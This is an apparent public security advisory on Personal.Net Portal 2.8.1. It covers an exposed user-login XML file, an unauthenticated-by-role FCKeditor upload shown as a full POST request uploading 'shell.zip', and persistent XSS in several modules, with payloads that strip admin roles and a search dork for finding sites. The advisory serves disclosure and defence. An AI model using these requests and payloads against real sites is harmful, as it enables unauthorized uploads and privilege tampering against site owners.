Personal.Net Portal - Multiple Vulnerabilities

                                                '''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''


Abysssec Inc Public Advisory
 
 
  Title            :  Personal.Net Portal Multiple Vulnerabilities
  Affected Version :  Personal.Net Portal Version 2.8.1
  Discovery        :  www.Abysssec.com
  Vendor	   :  http://www.dotnet-portal.net/Home.tab.aspx
  Download Links   :  http://sourceforge.net/projects/dotnetportal/
  Dork		   :  "Personal .NET Portal"		        
  
 
Description :
===========================================================================================      
  This version of Personal.Net Portal(2.8.1) have Multiple Valnerabilities : 
        1- User's Information Revelation
        2- Upload a file with normal user that have low privilage
	3- Persistent XSS for DDOS and remove Roles and ... (XSRF)


User's Information Revelation:
===========================================================================================     

  With this path you can find User's Information of site:

	http://Example.com/Data/Statistics/Logins.xml
  
  this Information includes:      
        UserId
        LoginCount
        LastLogin
        LoginName  ( for Example Admin )
        FirstName
        LastName



Upload a file with normal user that have low privilage:
===========================================================================================     
   After you logged in as a normal user (for example userName:user and Password:user),
   in the following path you can upload a specific file 
   with POST Method which is containing user's cookie.

   http://Example.com/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=File&CurrentFolder=/
   
   For example this POST request:

	POST http://Example.com/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=File&CurrentFolder=/ HTTP/1.1
	Host: Example.com
	User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-us,en;q=0.5
	Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
	Keep-Alive: 300
	Proxy-Connection: keep-alive	
	Referer: http://Example.com/FCKeditor/editor/filemanager/browser/default/frmupload.html
	Cookie: ASP.NET_SessionId=wonb3e55eqgbrpnqdhcqly55; dotnetportal.auth=CE8C1A54B9676CDB4F911C820B4F59C50C75F6684E839578C59D289707A340E9EA444119E44E2B155612375255900C6FD3E0C94463E4C0ECEB929872CF2505FC
	Content-Type: multipart/form-data; boundary=---------------------------125671705429877
	Content-Length: 500		


	-----------------------------125671705429877
	Content-Disposition: form-data; name="NewFile"; filename="shell.zip"
	Content-Type: application/octet-stream

	... any thing
	-----------------------------125671705429877--
   

   Here we have limitation of uploading specific file extension implementing by FckEditor v2
   that bypassing this barrier is on you. 

   Uploaded files will be placing in this path:

        http://Example.com/Data/Resources/file/
        
   
   Vulnerable Code:
        The misconfiguration is in ...\FCKeditor\editor\filemanager\connectors\aspx\config.ascx  
        ln 42:
              private bool CheckAuthentication()
	      {	
          	return Page.User.Identity.IsAuthenticated;
	      }


Persistent XSS and XSRF:
===========================================================================================     

  In these Modules you can find Persistent XSS that data saves with no sanitization:

  1- Module name: CSVTable 
     Field      : text

     Vulnerable Code:
     ...\Modules\CSVTable\editcsvtable.ascx
     ln 39:   sw.Write(txt.Text);

     For Example you can enter this script for DDOS:
       <script>__doPostBack('ctl071$Linkbutton21','')</script>
     ---------------------------------------------------------------------------------------	

  2- Module name: Feedback
     Fields     : From , Title , Message

     Vulnerable Code:
     ...\Modules\Feedback\feedback.ascx
     ln 55,56,57:   r["From"] = txtFrom.Text;
	            r["Title"] = txtTitle.Text;
	            r["Message"] = txtMessage.Text;
     ---------------------------------------------------------------------------------------	

  3- Module name: Html
     Field      : text

     Vulnerable Code:
     ...\Modules\Html\edithtml.ascx
     ln 39:   w.Write(txt.Text);
     ---------------------------------------------------------------------------------------	

  4- Module name: MyUser
     Fields     : First name , Sur name

     Vulnerable Code:
     ...\Modules\MyUser\MyUser.ascx.cs
     ln 55:    UserManagement.SaveUser(
               Page.User.Identity.Name,
               pwd, txtFirstName.Text, txtSurName.Text, txtEMail.Text,
               new System.Collections.ArrayList(principal.Roles), principal.Id);


     For Example you can enter this script for remove Admin Role: 
        <script>__doPostBack('Content$ctl14$gridRoles$ctl02$ctl00','')</script>  

     or this for remove User Role:
        <script>__doPostBack('Content$ctl14$gridRoles$ctl03$ctl00','')</script>
   
     and when Admin see this page:
        http://Example.com/default.aspx?TabRef=adminusers

     the Role will be removed and program will be DDOS.

     ---------------------------------------------------------------------------------------	

   5- Module name: News
      Field      : text

     Vulnerable Code:
     ...\Modules\News\editnews.ascx
     ln 70:    dr["Text"] = ((System.Web.UI.WebControls.TextBox)e.Item.Cells[4].Controls[1]).Text;
     ---------------------------------------------------------------------------------------	

   6- Module name: Quotations
      Field      : text

     Vulnerable Code:
     ...\Modules\Quotations\editquotations.ascx
     ln 39:    sw.Write(txt.Text);    
     ---------------------------------------------------------------------------------------	

   7- Module name: Table
      Field      : column

     Vulnerable Code:
     ...\Modules\Table\edittable.ascx
     ln 65:     dr[i] = ((System.Web.UI.WebControls.TextBox)repAddRow.Items[i].FindControl("data")).Text;
     ln 137:    dr[i] = ((System.Web.UI.WebControls.TextBox)e.Item.Cells[i + 2].Controls[0]).Text;
     ---------------------------------------------------------------------------------------	


===========================================================================================